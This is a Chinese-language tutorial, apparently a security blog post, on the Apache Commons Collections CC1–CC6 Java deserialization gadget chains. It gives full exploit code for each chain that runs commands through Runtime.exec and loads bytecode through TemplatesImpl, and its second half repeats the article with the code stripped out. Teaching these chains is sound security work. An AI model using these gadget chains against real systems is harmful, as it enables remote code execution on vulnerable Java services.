Java安全 - CommonsCollections链 全系列详解
字数 1873 2025-08-18 17:33:08

Apache Commons Collections反序列化漏洞全系列详解

前言

Apache Commons Collections (CC)反序列化漏洞是Java安全领域的重要课题。本文全面解析CC1-CC6漏洞链,涵盖TransformedMap、LazyMap、TemplatesImpl等多种利用方式,深入分析各链的构造原理和利用技巧。

环境配置

基础环境:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

CC4需要额外依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

CC1链分析

CC1有两条利用链:TransformedMap和LazyMap。

TransformedMap链

核心组件

  1. InvokerTransformer

    • 位于org.apache.commons.collections.functors
    • transform方法可实现任意方法调用
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
        new Class[]{String.class}, new Object[]{"calc"});
    invokerTransformer.transform(Runtime.getRuntime());
    
  2. TransformedMap

    • checkSetValue方法调用transform
    • 通过decorate静态方法构造
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
    
  3. AbstractInputCheckedMapDecorator

    • TransformedMap的父类
    • 内部类MapEntrysetValue调用checkSetValue
    for (Map.Entry entry:transformedMap.entrySet()){
        entry.setValue(r);
    }
    
  4. AnnotationInvocationHandler

    • JDK内部类,readObject中调用setValue
    • 需要通过反射实例化
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor cl = c.getDeclaredConstructor(Class.class,Map.class);
    Object o = cl.newInstance(Override.class,transformedMap);
    

完整利用链

反序列化#readObject -> 
    AnnotationInvocationHandler#readObject -> 
        MapEntry#setValue -> 
            transformedMap#checkSetValue -> 
                InvokerTransformer.transform

Runtime序列化问题解决

使用ChainedTransformer链式调用:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
        new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

完整EXP

// 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
        new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 构造TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// 反射构造AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
Object o = cls.newInstance(Target.class,transformedMap);

// 序列化与反序列化触发
serialize(o);
unserialize("ser.bin");

LazyMap链

核心差异点

  1. LazyMap.get()

    • 当key不存在时调用factory.transform
    Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
    
  2. AnnotationInvocationHandler.invoke()

    • 调用get方法
    • 通过动态代理触发
  3. 利用链

    反序列化#readObject -> 
        AnnotationInvocationHandler#readObject(调用entrySet) -> 
            动态代理调用invoke -> 
                LazyMap.get -> 
                    InvokerTransformer.transform
    

完整EXP

// 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
        new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 构造LazyMap
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

// 反射构造AnnotationInvocationHandler并创建代理
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cls = c.getDeclaredConstructor(Class.class,Map.class);
cls.setAccessible(true);
InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);

Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
    new Class[]{Map.class},h);

Object o = cls.newInstance(Override.class,maproxy);

// 序列化与反序列化触发
serialize(o);
unserialize("ser.bin");

CC6链分析

特点:不受JDK版本限制,结合HashMap和LazyMap。

核心组件

  1. TiedMapEntry

    • hashCodetoString方法调用getValue
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
    
  2. HashMap.readObject

    • 反序列化时调用hashCode

利用链

HashMap#readObject -> 
    TiedMapEntry#hashcode -> 
        LazyMap#get -> 
            InvokerTransformer.transform

完整EXP

// 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
        new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 构造LazyMap和TiedMapEntry
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");

// 构造HashMap并添加元素
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aa"); // 移除key确保触发transform

// 反射修改factory
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);

// 序列化与反序列化触发
serialize(map2);
unserialize("ser.bin");

CC3链分析

特点:使用TemplatesImpl实现动态类加载,绕过InvokerTransformer限制。

TemplatesImpl链

  1. TemplatesImpl.TransletClassLoader#defineClass()

    • 加载字节码
  2. TemplatesImpl#defineTransletClasses()

    • 调用defineClass
  3. TemplatesImpl#getTransletInstance()

    • 初始化加载的类
  4. TemplatesImpl#newTransformer()

    • 公开方法触发链

利用链

InvokerTransformer.transform -> 
    TemplatesImpl.newTransformer -> 
        getTransletInstance -> 
            defineTransletClasses -> 
                TransletClassLoader.defineClass

恶意类要求

必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

完整EXP

// 加载恶意类
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

// 设置必要字段
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field _tfField = tc.getDeclaredField("_tfactory");
_tfField.setAccessible(true);
_tfField.set(templates, new TransformerFactoryImpl());

// 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 构造LazyMap和动态代理(同CC1)
// ...

使用InstantiateTransformer绕过InvokerTransformer

  1. TrAXFilter

    • 构造函数调用newTransformer
  2. InstantiateTransformer

    • 通过反射调用构造函数
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    

绕过EXP

// 构造InstantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 后续构造同CC1
// ...

CC4链分析

特点:使用CC4包的TransformingComparator。

核心组件

  1. TransformingComparator#compare()

    • 调用transform
  2. PriorityQueue

    • readObject触发比较
    • 需要两个元素触发siftDown

利用链

PriorityQueue#readObject -> 
    heapify -> 
        siftDown -> 
            siftDownUsingComparator -> 
                compare -> 
                    transform

完整EXP

// 构造TemplatesImpl(同CC3)
// ...

// 构造InstantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 构造PriorityQueue
TransformingComparator transformingComparator = new TransformingComparator<>(
    new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

// 反射修改transformer
Class c = transformingComparator.getClass();
Field transformingComparatorfield = c.getDeclaredField("transformer");
transformingComparatorfield.setAccessible(true);
transformingComparatorfield.set(transformingComparator, chainedTransformer);

// 序列化与反序列化触发
serialize(priorityQueue);
unserialize("ser.bin");

CC2链分析

简化版CC4,直接调用newTransformer

关键差异

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>(
    "newTransformer", new Class[]{}, new Object[]{});

CC5链分析

特点:利用TiedMapEntry的toString方法。

核心组件

  1. BadAttributeValueExpException
    • readObject调用toString

利用链

BadAttributeValueExpException#readObject -> 
    valObj.toString -> 
        TiedMapEntry#toString -> 
            getValue -> 
                LazyMap#get -> 
                    transform

完整EXP

// 构造Transformer链和LazyMap(同CC6)
// ...

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "qq");
lazyMap.remove("qq");

// 构造BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = 
    new BadAttributeValueExpException(null);
Class b = badAttributeValueExpException.getClass();
Field bfield = b.getDeclaredField("val");
bfield.setAccessible(true);
bfield.set(badAttributeValueExpException, tiedMapEntry);

// 反射设置factory(同CC6)
// ...

// 序列化与反序列化触发
serialize(badAttributeValueExpException);
unserialize("ser.bin");

总结

CC链的核心是寻找能够从readObject触发transform方法的调用链。各版本CC链的主要区别在于中间组件的选择和组合方式。理解这些链的关键在于:

  1. 识别触发点(readObject)
  2. 找到transform的调用路径
  3. 解决序列化限制(Runtime不可序列化等问题)
  4. 绕过防御措施(高版本JDK限制等)

通过灵活组合不同组件,可以构造出适应不同环境的利用链。掌握这些链的原理和构造方法,对于Java反序列化漏洞分析和防御具有重要意义。

Apache Commons Collections反序列化漏洞全系列详解 前言 Apache Commons Collections (CC)反序列化漏洞是Java安全领域的重要课题。本文全面解析CC1-CC6漏洞链,涵盖TransformedMap、LazyMap、TemplatesImpl等多种利用方式,深入分析各链的构造原理和利用技巧。 环境配置 基础环境: CC4需要额外依赖: CC1链分析 CC1有两条利用链:TransformedMap和LazyMap。 TransformedMap链 核心组件 InvokerTransformer 位于 org.apache.commons.collections.functors transform 方法可实现任意方法调用 TransformedMap checkSetValue 方法调用 transform 通过 decorate 静态方法构造 AbstractInputCheckedMapDecorator TransformedMap的父类 内部类 MapEntry 的 setValue 调用 checkSetValue AnnotationInvocationHandler JDK内部类, readObject 中调用 setValue 需要通过反射实例化 完整利用链 Runtime序列化问题解决 使用 ChainedTransformer 链式调用: 完整EXP LazyMap链 核心差异点 LazyMap.get() 当key不存在时调用 factory.transform AnnotationInvocationHandler.invoke() 调用 get 方法 通过动态代理触发 利用链 完整EXP CC6链分析 特点:不受JDK版本限制,结合HashMap和LazyMap。 核心组件 TiedMapEntry hashCode 和 toString 方法调用 getValue HashMap.readObject 反序列化时调用 hashCode 利用链 完整EXP CC3链分析 特点:使用TemplatesImpl实现动态类加载,绕过InvokerTransformer限制。 TemplatesImpl链 TemplatesImpl.TransletClassLoader#defineClass() 加载字节码 TemplatesImpl#defineTransletClasses() 调用defineClass TemplatesImpl#getTransletInstance() 初始化加载的类 TemplatesImpl#newTransformer() 公开方法触发链 利用链 恶意类要求 必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 完整EXP 使用InstantiateTransformer绕过InvokerTransformer TrAXFilter 构造函数调用 newTransformer InstantiateTransformer 通过反射调用构造函数 绕过EXP CC4链分析 特点:使用CC4包的TransformingComparator。 核心组件 TransformingComparator#compare() 调用 transform PriorityQueue readObject 触发比较 需要两个元素触发 siftDown 利用链 完整EXP CC2链分析 简化版CC4,直接调用 newTransformer 。 关键差异 CC5链分析 特点:利用TiedMapEntry的toString方法。 核心组件 BadAttributeValueExpException readObject 调用 toString 利用链 完整EXP 总结 CC链的核心是寻找能够从 readObject 触发 transform 方法的调用链。各版本CC链的主要区别在于中间组件的选择和组合方式。理解这些链的关键在于: 识别触发点(readObject) 找到transform的调用路径 解决序列化限制(Runtime不可序列化等问题) 绕过防御措施(高版本JDK限制等) 通过灵活组合不同组件,可以构造出适应不同环境的利用链。掌握这些链的原理和构造方法,对于Java反序列化漏洞分析和防御具有重要意义。